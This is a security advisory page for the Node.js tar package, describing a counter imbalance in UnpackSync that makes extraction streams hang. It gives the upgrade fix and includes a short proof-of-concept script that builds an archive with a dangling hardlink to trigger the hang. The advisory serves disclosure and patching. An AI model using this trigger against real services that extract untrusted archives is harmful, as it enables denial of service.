Improper Update of Reference Count Affecting tar package, versions >=7.5.22 <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.67% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TAR-23314585
  • published2 Dec 2026
  • disclosed1 Dec 2026
  • creditMohsin Mukhtiar Lashari

Introduced: 1 Dec 2026

NewCVE-2026-140252  (opens in a new tab)
CWE-667  (opens in a new tab)
CWE-696  (opens in a new tab)
CWE-911  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Update of Reference Count via a PEND/UNPEND counter imbalance in UnpackSync. The UnpackSync[CHECKFS] method never calls [PEND](), yet UnpackSync inherits the async [ONERROR] handler that unconditionally calls [UNPEND]() on any non-CwdError entry failure, driving the PENDING counter to -1. Because [MAYBECLOSE] emits completion only when PENDING === 0, the negative counter permanently suppresses the end, finish, and close events, causing the stream to hang indefinitely. A single failing archive entry - such as a hardlink whose target does not exist - is sufficient to wedge any consumer that awaits stream completion.

Note: This is only exploitable when using tar.x({ sync: true }) without the file option, or a directly-constructed UnpackSync stream, while awaiting end/finish/close; the default asynchronous API and the file-based synchronous API (x({ sync: true, file })) are unaffected.

PoC

Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar'); const fs = require('fs')
const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true})
const b = Buffer.alloc(512)
new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0)
const u = x({ sync: true, cwd: dir })          // the UnpackSync stream
let ended = false; const warns = []
u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c))
u.end(Buffer.concat([b, Buffer.alloc(1024)]))
setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500)

Observed:

*** HANG: end/finish never emitted   warnings= [ 'TAR_ENTRY_ERROR' ]

Controls in the same harness: the identical archive through the async file API (x({ cwd, file })) resolves with a single TAR_ENTRY_ERROR; an all-success archive through the sync-stream API ends normally and extracts its file. Disk state is fail-closed (the failing entry is simply not created).

Note: Validated against the published npm package tar@7.5.22 on Node v24.19.0.

CVSS Base Scores

version 4.0
version 3.1